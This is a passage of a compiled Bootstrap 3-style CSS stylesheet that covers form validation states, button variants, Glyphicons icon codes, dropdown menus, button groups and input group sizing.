  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;
}
.has-error .input-group-addon {
  color: #a94442;
  border-color: #a94442;
  background-color: #f2dede;
}
.has-success .help-block,
.has-success .control-label,
.has-success .radio,
.has-success .checkbox,
.has-success .radio-inline,
.has-success .checkbox-inline {
  color: #3c763d;
}
.has-success .form-control {
  border-color: #3c763d;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.has-success .form-control:focus {
  border-color: #2b542c;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;
}
.has-success .input-group-addon {
  color: #3c763d;
  border-color: #3c763d;
  background-color: #dff0d8;
}
.form-control-static {
  margin-bottom: 0;
}
.help-block {
  display: block;
  margin-top: 5px;
  margin-bottom: 10px;
  color: #737373;
}
@media (min-width: 768px) {
  .form-inline .form-group {
    display: inline-block;
    margin-bottom: 0;
    vertical-align: middle;
  }
  .form-inline .form-control {
    display: inline-block;
  }
  .form-inline select.form-control {
    width: auto;
  }
  .form-inline .radio,
  .form-inline .checkbox {
    display: inline-block;
    margin-top: 0;
    margin-bottom: 0;
    padding-left: 0;
  }
  .form-inline .radio input[type="radio"],
  .form-inline .checkbox input[type="checkbox"] {
    float: none;
    margin-left: 0;
  }
}
.form-horizontal .control-label,
.form-horizontal .radio,
.form-horizontal .checkbox,
.form-horizontal .radio-inline,
.form-horizontal .checkbox-inline {
  margin-top: 0;
  margin-bottom: 0;
  padding-top: 7px;
}
.form-horizontal .radio,
.form-horizontal .checkbox {
  min-height: 27px;
}
.form-horizontal .form-group {
  margin-left: 0px;
  margin-right: 0px;
}
.form-horizontal .form-group:before,
.form-horizontal .form-group:after {
  content: " ";
  display: table;
}
.form-horizontal .form-group:after {
  clear: both;
}
.form-horizontal .form-group:before,
.form-horizontal .form-group:after {
  content: " ";
  display: table;
}
.form-horizontal .form-group:after {
  clear: both;
}
.form-horizontal .form-control-static {
  padding-top: 7px;
}
@media (min-width: 768px) {
  .form-horizontal .control-label {
    text-align: right;
  }
}
.btn {
  display: inline-block;
  margin-bottom: 0;
  font-weight: normal;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  background-image: none;
  border: 1px solid transparent;
  white-space: nowrap;
  padding: 6px 12px;
  font-size: 14px;
  line-height: 1.428571429;
  border-radius: 4px;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  -o-user-select: none;
  user-select: none;
}
.btn:focus {
  outline: thin dotted;
  outline: 5px auto -webkit-focus-ring-color;
  outline-offset: -2px;
}
.btn:hover,
.btn:focus {
  color: #333333;
  text-decoration: none;
}
.btn:active,
.btn.active {
  outline: 0;
  background-image: none;
  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
  box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}
.btn.disabled,
.btn[disabled],
fieldset[disabled] .btn {
  cursor: not-allowed;
  pointer-events: none;
  opacity: 0.65;
  filter: alpha(opacity=65);
  -webkit-box-shadow: none;
  box-shadow: none;
}
.btn-default {
  color: #333333;
  background-color: #ffffff;
  border-color: #cccccc;
}
.btn-default:hover,
.btn-default:focus,
.btn-default:active,
.btn-default.active,
.open .dropdown-toggle.btn-default {
  color: #333333;
  background-color: #ebebeb;
  border-color: #adadad;
}
.btn-default:active,
.btn-default.active,
.open .dropdown-toggle.btn-default {
  background-image: none;
}
.btn-default.disabled,
.btn-default[disabled],
fieldset[disabled] .btn-default,
.btn-default.disabled:hover,
.btn-default[disabled]:hover,
fieldset[disabled] .btn-default:hover,
.btn-default.disabled:focus,
.btn-default[disabled]:focus,
fieldset[disabled] .btn-default:focus,
.btn-default.disabled:active,
.btn-default[disabled]:active,
fieldset[disabled] .btn-default:active,
.btn-default.disabled.active,
.btn-default[disabled].active,
fieldset[disabled] .btn-default.active {
  background-color: #ffffff;
  border-color: #cccccc;
}
.btn-default .badge {
  color: #ffffff;
  background-color: #fff;
}
.btn-primary {
  color: #ffffff;
  background-color: #428bca;
  border-color: #357ebd;
}
.btn-primary:hover,
.btn-primary:focus,
.btn-primary:active,
.btn-primary.active,
.open .dropdown-toggle.btn-primary {
  color: #ffffff;
  background-color: #3276b1;
  border-color: #285e8e;
}
.btn-primary:active,
.btn-primary.active,
.open .dropdown-toggle.btn-primary {
  background-image: none;
}
.btn-primary.disabled,
.btn-primary[disabled],
fieldset[disabled] .btn-primary,
.btn-primary.disabled:hover,
.btn-primary[disabled]:hover,
fieldset[disabled] .btn-primary:hover,
.btn-primary.disabled:focus,
.btn-primary[disabled]:focus,
fieldset[disabled] .btn-primary:focus,
.btn-primary.disabled:active,
.btn-primary[disabled]:active,
fieldset[disabled] .btn-primary:active,
.btn-primary.disabled.active,
.btn-primary[disabled].active,
fieldset[disabled] .btn-primary.active {
  background-color: #428bca;
  border-color: #357ebd;
}
.btn-primary .badge {
  color: #428bca;
  background-color: #fff;
}
.btn-warning {
  color: #ffffff;
  background-color: #f0ad4e;
  border-color: #eea236;
}
.btn-warning:hover,
.btn-warning:focus,
.btn-warning:active,
.btn-warning.active,
.open .dropdown-toggle.btn-warning {
  color: #ffffff;
  background-color: #ed9c28;
  border-color: #d58512;
}
.btn-warning:active,
.btn-warning.active,
.open .dropdown-toggle.btn-warning {
  background-image: none;
}
.btn-warning.disabled,
.btn-warning[disabled],
fieldset[disabled] .btn-warning,
.btn-warning.disabled:hover,
.btn-warning[disabled]:hover,
fieldset[disabled] .btn-warning:hover,
.btn-warning.disabled:focus,
.btn-warning[disabled]:focus,
fieldset[disabled] .btn-warning:focus,
.btn-warning.disabled:active,
.btn-warning[disabled]:active,
fieldset[disabled] .btn-warning:active,
.btn-warning.disabled.active,
.btn-warning[disabled].active,
fieldset[disabled] .btn-warning.active {
  background-color: #f0ad4e;
  border-color: #eea236;
}
.btn-warning .badge {
  color: #f0ad4e;
  background-color: #fff;
}
.btn-danger {
  color: #ffffff;
  background-color: #d9534f;
  border-color: #d43f3a;
}
.btn-danger:hover,
.btn-danger:focus,
.btn-danger:active,
.btn-danger.active,
.open .dropdown-toggle.btn-danger {
  color: #ffffff;
  background-color: #d2322d;
  border-color: #ac2925;
}
.btn-danger:active,
.btn-danger.active,
.open .dropdown-toggle.btn-danger {
  background-image: none;
}
.btn-danger.disabled,
.btn-danger[disabled],
fieldset[disabled] .btn-danger,
.btn-danger.disabled:hover,
.btn-danger[disabled]:hover,
fieldset[disabled] .btn-danger:hover,
.btn-danger.disabled:focus,
.btn-danger[disabled]:focus,
fieldset[disabled] .btn-danger:focus,
.btn-danger.disabled:active,
.btn-danger[disabled]:active,
fieldset[disabled] .btn-danger:active,
.btn-danger.disabled.active,
.btn-danger[disabled].active,
fieldset[disabled] .btn-danger.active {
  background-color: #d9534f;
  border-color: #d43f3a;
}
.btn-danger .badge {
  color: #d9534f;
  background-color: #fff;
}
.btn-success {
  color: #ffffff;
  background-color: #5cb85c;
  border-color: #4cae4c;
}
.btn-success:hover,
.btn-success:focus,
.btn-success:active,
.btn-success.active,
.open .dropdown-toggle.btn-success {
  color: #ffffff;
  background-color: #47a447;
  border-color: #398439;
}
.btn-success:active,
.btn-success.active,
.open .dropdown-toggle.btn-success {
  background-image: none;
}
.btn-success.disabled,
.btn-success[disabled],
fieldset[disabled] .btn-success,
.btn-success.disabled:hover,
.btn-success[disabled]:hover,
fieldset[disabled] .btn-success:hover,
.btn-success.disabled:focus,
.btn-success[disabled]:focus,
fieldset[disabled] .btn-success:focus,
.btn-success.disabled:active,
.btn-success[disabled]:active,
fieldset[disabled] .btn-success:active,
.btn-success.disabled.active,
.btn-success[disabled].active,
fieldset[disabled] .btn-success.active {
  background-color: #5cb85c;
  border-color: #4cae4c;
}
.btn-success .badge {
  color: #5cb85c;
  background-color: #fff;
}
.btn-info {
  color: #ffffff;
  background-color: #5bc0de;
  border-color: #46b8da;
}
.btn-info:hover,
.btn-info:focus,
.btn-info:active,
.btn-info.active,
.open .dropdown-toggle.btn-info {
  color: #ffffff;
  background-color: #39b3d7;
  border-color: #269abc;
}
.btn-info:active,
.btn-info.active,
.open .dropdown-toggle.btn-info {
  background-image: none;
}
.btn-info.disabled,
.btn-info[disabled],
fieldset[disabled] .btn-info,
.btn-info.disabled:hover,
.btn-info[disabled]:hover,
fieldset[disabled] .btn-info:hover,
.btn-info.disabled:focus,
.btn-info[disabled]:focus,
fieldset[disabled] .btn-info:focus,
.btn-info.disabled:active,
.btn-info[disabled]:active,
fieldset[disabled] .btn-info:active,
.btn-info.disabled.active,
.btn-info[disabled].active,
fieldset[disabled] .btn-info.active {
  background-color: #5bc0de;
  border-color: #46b8da;
}
.btn-info .badge {
  color: #5bc0de;
  background-color: #fff;
}
.btn-link {
  color: #428bca;
  font-weight: normal;
  cursor: pointer;
  border-radius: 0;
}
.btn-link,
.btn-link:active,
.btn-link[disabled],
fieldset[disabled] .btn-link {
  background-color: transparent;
  -webkit-box-shadow: none;
  box-shadow: none;
}
.btn-link,
.btn-link:hover,
.btn-link:focus,
.btn-link:active {
  border-color: transparent;
}
.btn-link:hover,
.btn-link:focus {
  color: #2a6496;
  text-decoration: underline;
  background-color: transparent;
}
.btn-link[disabled]:hover,
fieldset[disabled] .btn-link:hover,
.btn-link[disabled]:focus,
fieldset[disabled] .btn-link:focus {
  color: #999999;
  text-decoration: none;
}
.btn-lg {
  padding: 10px 16px;
  font-size: 18px;
  line-height: 1.33;
  border-radius: 6px;
}
.btn-sm {
  padding: 5px 10px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
.btn-xs {
  padding: 1px 5px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
.btn-block {
  display: block;
  width: 100%;
  padding-left: 0;
  padding-right: 0;
}
.btn-block + .btn-block {
  margin-top: 5px;
}
input[type="submit"].btn-block,
input[type="reset"].btn-block,
input[type="button"].btn-block {
  width: 100%;
}
.fade {
  opacity: 0;
  -webkit-transition: opacity 0.15s linear;
  transition: opacity 0.15s linear;
}
.fade.in {
  opacity: 1;
}
.collapse {
  display: none;
}
.collapse.in {
  display: block;
}
.collapsing {
  position: relative;
  height: 0;
  overflow: hidden;
  -webkit-transition: height 0.35s ease;
  transition: height 0.35s ease;
}
@font-face {
  font-family: 'Glyphicons Halflings';
  src: url('../fonts/glyphicons-halflings-regular.eot');
  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular') format('svg');
}
.glyphicon {
  position: relative;
  top: 1px;
  display: inline-block;
  font-family: 'Glyphicons Halflings';
  font-style: normal;
  font-weight: normal;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}
.glyphicon:empty {
  width: 1em;
}
.glyphicon-asterisk:before {
  content: "\2a";
}
.glyphicon-plus:before {
  content: "\2b";
}
.glyphicon-euro:before {
  content: "\20ac";
}
.glyphicon-minus:before {
  content: "\2212";
}
.glyphicon-cloud:before {
  content: "\2601";
}
.glyphicon-envelope:before {
  content: "\2709";
}
.glyphicon-pencil:before {
  content: "\270f";
}
.glyphicon-glass:before {
  content: "\e001";
}
.glyphicon-music:before {
  content: "\e002";
}
.glyphicon-search:before {
  content: "\e003";
}
.glyphicon-heart:before {
  content: "\e005";
}
.glyphicon-star:before {
  content: "\e006";
}
.glyphicon-star-empty:before {
  content: "\e007";
}
.glyphicon-user:before {
  content: "\e008";
}
.glyphicon-film:before {
  content: "\e009";
}
.glyphicon-th-large:before {
  content: "\e010";
}
.glyphicon-th:before {
  content: "\e011";
}
.glyphicon-th-list:before {
  content: "\e012";
}
.glyphicon-ok:before {
  content: "\e013";
}
.glyphicon-remove:before {
  content: "\e014";
}
.glyphicon-zoom-in:before {
  content: "\e015";
}
.glyphicon-zoom-out:before {
  content: "\e016";
}
.glyphicon-off:before {
  content: "\e017";
}
.glyphicon-signal:before {
  content: "\e018";
}
.glyphicon-cog:before {
  content: "\e019";
}
.glyphicon-trash:before {
  content: "\e020";
}
.glyphicon-home:before {
  content: "\e021";
}
.glyphicon-file:before {
  content: "\e022";
}
.glyphicon-time:before {
  content: "\e023";
}
.glyphicon-road:before {
  content: "\e024";
}
.glyphicon-download-alt:before {
  content: "\e025";
}
.glyphicon-download:before {
  content: "\e026";
}
.glyphicon-upload:before {
  content: "\e027";
}
.glyphicon-inbox:before {
  content: "\e028";
}
.glyphicon-play-circle:before {
  content: "\e029";
}
.glyphicon-repeat:before {
  content: "\e030";
}
.glyphicon-refresh:before {
  content: "\e031";
}
.glyphicon-list-alt:before {
  content: "\e032";
}
.glyphicon-lock:before {
  content: "\e033";
}
.glyphicon-flag:before {
  content: "\e034";
}
.glyphicon-headphones:before {
  content: "\e035";
}
.glyphicon-volume-off:before {
  content: "\e036";
}
.glyphicon-volume-down:before {
  content: "\e037";
}
.glyphicon-volume-up:before {
  content: "\e038";
}
.glyphicon-qrcode:before {
  content: "\e039";
}
.glyphicon-barcode:before {
  content: "\e040";
}
.glyphicon-tag:before {
  content: "\e041";
}
.glyphicon-tags:before {
  content: "\e042";
}
.glyphicon-book:before {
  content: "\e043";
}
.glyphicon-bookmark:before {
  content: "\e044";
}
.glyphicon-print:before {
  content: "\e045";
}
.glyphicon-camera:before {
  content: "\e046";
}
.glyphicon-font:before {
  content: "\e047";
}
.glyphicon-bold:before {
  content: "\e048";
}
.glyphicon-italic:before {
  content: "\e049";
}
.glyphicon-text-height:before {
  content: "\e050";
}
.glyphicon-text-width:before {
  content: "\e051";
}
.glyphicon-align-left:before {
  content: "\e052";
}
.glyphicon-align-center:before {
  content: "\e053";
}
.glyphicon-align-right:before {
  content: "\e054";
}
.glyphicon-align-justify:before {
  content: "\e055";
}
.glyphicon-list:before {
  content: "\e056";
}
.glyphicon-indent-left:before {
  content: "\e057";
}
.glyphicon-indent-right:before {
  content: "\e058";
}
.glyphicon-facetime-video:before {
  content: "\e059";
}
.glyphicon-picture:before {
  content: "\e060";
}
.glyphicon-map-marker:before {
  content: "\e062";
}
.glyphicon-adjust:before {
  content: "\e063";
}
.glyphicon-tint:before {
  content: "\e064";
}
.glyphicon-edit:before {
  content: "\e065";
}
.glyphicon-share:before {
  content: "\e066";
}
.glyphicon-check:before {
  content: "\e067";
}
.glyphicon-move:before {
  content: "\e068";
}
.glyphicon-step-backward:before {
  content: "\e069";
}
.glyphicon-fast-backward:before {
  content: "\e070";
}
.glyphicon-backward:before {
  content: "\e071";
}
.glyphicon-play:before {
  content: "\e072";
}
.glyphicon-pause:before {
  content: "\e073";
}
.glyphicon-stop:before {
  content: "\e074";
}
.glyphicon-forward:before {
  content: "\e075";
}
.glyphicon-fast-forward:before {
  content: "\e076";
}
.glyphicon-step-forward:before {
  content: "\e077";
}
.glyphicon-eject:before {
  content: "\e078";
}
.glyphicon-chevron-left:before {
  content: "\e079";
}
.glyphicon-chevron-right:before {
  content: "\e080";
}
.glyphicon-plus-sign:before {
  content: "\e081";
}
.glyphicon-minus-sign:before {
  content: "\e082";
}
.glyphicon-remove-sign:before {
  content: "\e083";
}
.glyphicon-ok-sign:before {
  content: "\e084";
}
.glyphicon-question-sign:before {
  content: "\e085";
}
.glyphicon-info-sign:before {
  content: "\e086";
}
.glyphicon-screenshot:before {
  content: "\e087";
}
.glyphicon-remove-circle:before {
  content: "\e088";
}
.glyphicon-ok-circle:before {
  content: "\e089";
}
.glyphicon-ban-circle:before {
  content: "\e090";
}
.glyphicon-arrow-left:before {
  content: "\e091";
}
.glyphicon-arrow-right:before {
  content: "\e092";
}
.glyphicon-arrow-up:before {
  content: "\e093";
}
.glyphicon-arrow-down:before {
  content: "\e094";
}
.glyphicon-share-alt:before {
  content: "\e095";
}
.glyphicon-resize-full:before {
  content: "\e096";
}
.glyphicon-resize-small:before {
  content: "\e097";
}
.glyphicon-exclamation-sign:before {
  content: "\e101";
}
.glyphicon-gift:before {
  content: "\e102";
}
.glyphicon-leaf:before {
  content: "\e103";
}
.glyphicon-fire:before {
  content: "\e104";
}
.glyphicon-eye-open:before {
  content: "\e105";
}
.glyphicon-eye-close:before {
  content: "\e106";
}
.glyphicon-warning-sign:before {
  content: "\e107";
}
.glyphicon-plane:before {
  content: "\e108";
}
.glyphicon-calendar:before {
  content: "\e109";
}
.glyphicon-random:before {
  content: "\e110";
}
.glyphicon-comment:before {
  content: "\e111";
}
.glyphicon-magnet:before {
  content: "\e112";
}
.glyphicon-chevron-up:before {
  content: "\e113";
}
.glyphicon-chevron-down:before {
  content: "\e114";
}
.glyphicon-retweet:before {
  content: "\e115";
}
.glyphicon-shopping-cart:before {
  content: "\e116";
}
.glyphicon-folder-close:before {
  content: "\e117";
}
.glyphicon-folder-open:before {
  content: "\e118";
}
.glyphicon-resize-vertical:before {
  content: "\e119";
}
.glyphicon-resize-horizontal:before {
  content: "\e120";
}
.glyphicon-hdd:before {
  content: "\e121";
}
.glyphicon-bullhorn:before {
  content: "\e122";
}
.glyphicon-bell:before {
  content: "\e123";
}
.glyphicon-certificate:before {
  content: "\e124";
}
.glyphicon-thumbs-up:before {
  content: "\e125";
}
.glyphicon-thumbs-down:before {
  content: "\e126";
}
.glyphicon-hand-right:before {
  content: "\e127";
}
.glyphicon-hand-left:before {
  content: "\e128";
}
.glyphicon-hand-up:before {
  content: "\e129";
}
.glyphicon-hand-down:before {
  content: "\e130";
}
.glyphicon-circle-arrow-right:before {
  content: "\e131";
}
.glyphicon-circle-arrow-left:before {
  content: "\e132";
}
.glyphicon-circle-arrow-up:before {
  content: "\e133";
}
.glyphicon-circle-arrow-down:before {
  content: "\e134";
}
.glyphicon-globe:before {
  content: "\e135";
}
.glyphicon-wrench:before {
  content: "\e136";
}
.glyphicon-tasks:before {
  content: "\e137";
}
.glyphicon-filter:before {
  content: "\e138";
}
.glyphicon-briefcase:before {
  content: "\e139";
}
.glyphicon-fullscreen:before {
  content: "\e140";
}
.glyphicon-dashboard:before {
  content: "\e141";
}
.glyphicon-paperclip:before {
  content: "\e142";
}
.glyphicon-heart-empty:before {
  content: "\e143";
}
.glyphicon-link:before {
  content: "\e144";
}
.glyphicon-phone:before {
  content: "\e145";
}
.glyphicon-pushpin:before {
  content: "\e146";
}
.glyphicon-usd:before {
  content: "\e148";
}
.glyphicon-gbp:before {
  content: "\e149";
}
.glyphicon-sort:before {
  content: "\e150";
}
.glyphicon-sort-by-alphabet:before {
  content: "\e151";
}
.glyphicon-sort-by-alphabet-alt:before {
  content: "\e152";
}
.glyphicon-sort-by-order:before {
  content: "\e153";
}
.glyphicon-sort-by-order-alt:before {
  content: "\e154";
}
.glyphicon-sort-by-attributes:before {
  content: "\e155";
}
.glyphicon-sort-by-attributes-alt:before {
  content: "\e156";
}
.glyphicon-unchecked:before {
  content: "\e157";
}
.glyphicon-expand:before {
  content: "\e158";
}
.glyphicon-collapse-down:before {
  content: "\e159";
}
.glyphicon-collapse-up:before {
  content: "\e160";
}
.glyphicon-log-in:before {
  content: "\e161";
}
.glyphicon-flash:before {
  content: "\e162";
}
.glyphicon-log-out:before {
  content: "\e163";
}
.glyphicon-new-window:before {
  content: "\e164";
}
.glyphicon-record:before {
  content: "\e165";
}
.glyphicon-save:before {
  content: "\e166";
}
.glyphicon-open:before {
  content: "\e167";
}
.glyphicon-saved:before {
  content: "\e168";
}
.glyphicon-import:before {
  content: "\e169";
}
.glyphicon-export:before {
  content: "\e170";
}
.glyphicon-send:before {
  content: "\e171";
}
.glyphicon-floppy-disk:before {
  content: "\e172";
}
.glyphicon-floppy-saved:before {
  content: "\e173";
}
.glyphicon-floppy-remove:before {
  content: "\e174";
}
.glyphicon-floppy-save:before {
  content: "\e175";
}
.glyphicon-floppy-open:before {
  content: "\e176";
}
.glyphicon-credit-card:before {
  content: "\e177";
}
.glyphicon-transfer:before {
  content: "\e178";
}
.glyphicon-cutlery:before {
  content: "\e179";
}
.glyphicon-header:before {
  content: "\e180";
}
.glyphicon-compressed:before {
  content: "\e181";
}
.glyphicon-earphone:before {
  content: "\e182";
}
.glyphicon-phone-alt:before {
  content: "\e183";
}
.glyphicon-tower:before {
  content: "\e184";
}
.glyphicon-stats:before {
  content: "\e185";
}
.glyphicon-sd-video:before {
  content: "\e186";
}
.glyphicon-hd-video:before {
  content: "\e187";
}
.glyphicon-subtitles:before {
  content: "\e188";
}
.glyphicon-sound-stereo:before {
  content: "\e189";
}
.glyphicon-sound-dolby:before {
  content: "\e190";
}
.glyphicon-sound-5-1:before {
  content: "\e191";
}
.glyphicon-sound-6-1:before {
  content: "\e192";
}
.glyphicon-sound-7-1:before {
  content: "\e193";
}
.glyphicon-copyright-mark:before {
  content: "\e194";
}
.glyphicon-registration-mark:before {
  content: "\e195";
}
.glyphicon-cloud-download:before {
  content: "\e197";
}
.glyphicon-cloud-upload:before {
  content: "\e198";
}
.glyphicon-tree-conifer:before {
  content: "\e199";
}
.glyphicon-tree-deciduous:before {
  content: "\e200";
}
.caret {
  display: inline-block;
  width: 0;
  height: 0;
  margin-left: 2px;
  vertical-align: middle;
  border-top: 4px solid;
  border-right: 4px solid transparent;
  border-left: 4px solid transparent;
}
.dropdown {
  position: relative;
}
.dropdown-toggle:focus {
  outline: 0;
}
.dropdown-menu {
  position: absolute;
  top: 100%;
  left: 0;
  z-index: 1000;
  display: none;
  float: left;
  min-width: 160px;
  padding: 5px 0;
  margin: 2px 0 0;
  list-style: none;
  font-size: 14px;
  background-color: #ffffff;
  border: 1px solid #cccccc;
  border: 1px solid rgba(0, 0, 0, 0.15);
  border-radius: 4px;
  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
  box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
  background-clip: padding-box;
}
.dropdown-menu.pull-right {
  right: 0;
  left: auto;
}
.dropdown-menu .divider {
  height: 1px;
  margin: 9px 0;
  overflow: hidden;
  background-color: #e5e5e5;
}
.dropdown-menu > li > a {
  display: block;
  padding: 3px 20px;
  clear: both;
  font-weight: normal;
  line-height: 1.428571429;
  color: #333333;
  white-space: nowrap;
}
.dropdown-menu > li > a:hover,
.dropdown-menu > li > a:focus {
  text-decoration: none;
  color: #262626;
  background-color: #f5f5f5;
}
.dropdown-menu > .active > a,
.dropdown-menu > .active > a:hover,
.dropdown-menu > .active > a:focus {
  color: #ffffff;
  text-decoration: none;
  outline: 0;
  background-color: #428bca;
}
.dropdown-menu > .disabled > a,
.dropdown-menu > .disabled > a:hover,
.dropdown-menu > .disabled > a:focus {
  color: #999999;
}
.dropdown-menu > .disabled > a:hover,
.dropdown-menu > .disabled > a:focus {
  text-decoration: none;
  background-color: transparent;
  background-image: none;
  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
  cursor: not-allowed;
}
.open > .dropdown-menu {
  display: block;
}
.open > a {
  outline: 0;
}
.dropdown-header {
  display: block;
  padding: 3px 20px;
  font-size: 12px;
  line-height: 1.428571429;
  color: #999999;
}
.dropdown-backdrop {
  position: fixed;
  left: 0;
  right: 0;
  bottom: 0;
  top: 0;
  z-index: 990;
}
.pull-right > .dropdown-menu {
  right: 0;
  left: auto;
}
.dropup .caret,
.navbar-fixed-bottom .dropdown .caret {
  border-top: 0;
  border-bottom: 4px solid;
  content: "";
}
.dropup .dropdown-menu,
.navbar-fixed-bottom .dropdown .dropdown-menu {
  top: auto;
  bottom: 100%;
  margin-bottom: 1px;
}
@media (min-width: 768px) {
  .navbar-right .dropdown-menu {
    right: 0;
    left: auto;
  }
}
.btn-group,
.btn-group-vertical {
  position: relative;
  display: inline-block;
  vertical-align: middle;
}
.btn-group > .btn,
.btn-group-vertical > .btn {
  position: relative;
  float: left;
}
.btn-group > .btn:hover,
.btn-group-vertical > .btn:hover,
.btn-group > .btn:focus,
.btn-group-vertical > .btn:focus,
.btn-group > .btn:active,
.btn-group-vertical > .btn:active,
.btn-group > .btn.active,
.btn-group-vertical > .btn.active {
  z-index: 2;
}
.btn-group > .btn:focus,
.btn-group-vertical > .btn:focus {
  outline: none;
}
.btn-group .btn + .btn,
.btn-group .btn + .btn-group,
.btn-group .btn-group + .btn,
.btn-group .btn-group + .btn-group {
  margin-left: -1px;
}
.btn-toolbar:before,
.btn-toolbar:after {
  content: " ";
  display: table;
}
.btn-toolbar:after {
  clear: both;
}
.btn-toolbar:before,
.btn-toolbar:after {
  content: " ";
  display: table;
}
.btn-toolbar:after {
  clear: both;
}
.btn-toolbar .btn-group {
  float: left;
}
.btn-toolbar > .btn + .btn,
.btn-toolbar > .btn-group + .btn,
.btn-toolbar > .btn + .btn-group,
.btn-toolbar > .btn-group + .btn-group {
  margin-left: 5px;
}
.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {
  border-radius: 0;
}
.btn-group > .btn:first-child {
  margin-left: 0;
}
.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {
  border-bottom-right-radius: 0;
  border-top-right-radius: 0;
}
.btn-group > .btn:last-child:not(:first-child),
.btn-group > .dropdown-toggle:not(:first-child) {
  border-bottom-left-radius: 0;
  border-top-left-radius: 0;
}
.btn-group > .btn-group {
  float: left;
}
.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {
  border-radius: 0;
}
.btn-group > .btn-group:first-child > .btn:last-child,
.btn-group > .btn-group:first-child > .dropdown-toggle {
  border-bottom-right-radius: 0;
  border-top-right-radius: 0;
}
.btn-group > .btn-group:last-child > .btn:first-child {
  border-bottom-left-radius: 0;
  border-top-left-radius: 0;
}
.btn-group .dropdown-toggle:active,
.btn-group.open .dropdown-toggle {
  outline: 0;
}
.btn-group-xs > .btn {
  padding: 1px 5px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
.btn-group-sm > .btn {
  padding: 5px 10px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
.btn-group-lg > .btn {
  padding: 10px 16px;
  font-size: 18px;
  line-height: 1.33;
  border-radius: 6px;
}
.btn-group > .btn + .dropdown-toggle {
  padding-left: 8px;
  padding-right: 8px;
}
.btn-group > .btn-lg + .dropdown-toggle {
  padding-left: 12px;
  padding-right: 12px;
}
.btn-group.open .dropdown-toggle {
  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
  box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}
.btn-group.open .dropdown-toggle.btn-link {
  -webkit-box-shadow: none;
  box-shadow: none;
}
.btn .caret {
  margin-left: 0;
}
.btn-lg .caret {
  border-width: 5px 5px 0;
  border-bottom-width: 0;
}
.dropup .btn-lg .caret {
  border-width: 0 5px 5px;
}
.btn-group-vertical > .btn,
.btn-group-vertical > .btn-group,
.btn-group-vertical > .btn-group > .btn {
  display: block;
  float: none;
  width: 100%;
  max-width: 100%;
}
.btn-group-vertical > .btn-group:before,
.btn-group-vertical > .btn-group:after {
  content: " ";
  display: table;
}
.btn-group-vertical > .btn-group:after {
  clear: both;
}
.btn-group-vertical > .btn-group:before,
.btn-group-vertical > .btn-group:after {
  content: " ";
  display: table;
}
.btn-group-vertical > .btn-group:after {
  clear: both;
}
.btn-group-vertical > .btn-group > .btn {
  float: none;
}
.btn-group-vertical > .btn + .btn,
.btn-group-vertical > .btn + .btn-group,
.btn-group-vertical > .btn-group + .btn,
.btn-group-vertical > .btn-group + .btn-group {
  margin-top: -1px;
  margin-left: 0;
}
.btn-group-vertical > .btn:not(:first-child):not(:last-child) {
  border-radius: 0;
}
.btn-group-vertical > .btn:first-child:not(:last-child) {
  border-top-right-radius: 4px;
  border-bottom-right-radius: 0;
  border-bottom-left-radius: 0;
}
.btn-group-vertical > .btn:last-child:not(:first-child) {
  border-bottom-left-radius: 4px;
  border-top-right-radius: 0;
  border-top-left-radius: 0;
}
.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {
  border-radius: 0;
}
.btn-group-vertical > .btn-group:first-child > .btn:last-child,
.btn-group-vertical > .btn-group:first-child > .dropdown-toggle {
  border-bottom-right-radius: 0;
  border-bottom-left-radius: 0;
}
.btn-group-vertical > .btn-group:last-child > .btn:first-child {
  border-top-right-radius: 0;
  border-top-left-radius: 0;
}
.btn-group-justified {
  display: table;
  width: 100%;
  table-layout: fixed;
  border-collapse: separate;
}
.btn-group-justified > .btn,
.btn-group-justified > .btn-group {
  float: none;
  display: table-cell;
  width: 1%;
}
.btn-group-justified > .btn-group .btn {
  width: 100%;
}
[data-toggle="buttons"] > .btn > input[type="radio"],
[data-toggle="buttons"] > .btn > input[type="checkbox"] {
  display: none;
}
.input-group {
  position: relative;
  display: table;
  border-collapse: separate;
}
.input-group[class*="col-"] {
  float: none;
  padding-left: 0;
  padding-right: 0;
}
.input-group .form-control {
  width: 100%;
  margin-bottom: 0;
}
.input-group-lg > .form-control,
.input-group-lg > .input-group-addon,
.input-group-lg > .input-group-btn > .btn {
  height: 46px;
  padding: 10px 16px;
  font-size: 18px;
  line-height: 1.33;
  border-radius: 6px;
}
select.input-group-lg > .form-control,
select.input-group-lg > .input-group-addon,
select.input-group-lg > .input-group-btn > .btn {
  height: 46px;
  line-height: 46px;
}
textarea.input-group-lg > .form-control,
textarea.input-group-lg > .input-group-addon,
textarea.input-group-lg > .input-group-btn > .btn {
  height: auto;
}
.input-group-sm > .form-control,
.input-group-sm > .input-group-addon,
.input-group-sm > .input-group-btn > .btn {
  height: 30px;
  padding: 5px 10px;
  font-size: 12px;
  line-height: 1.5;
  border-radius: 3px;
}
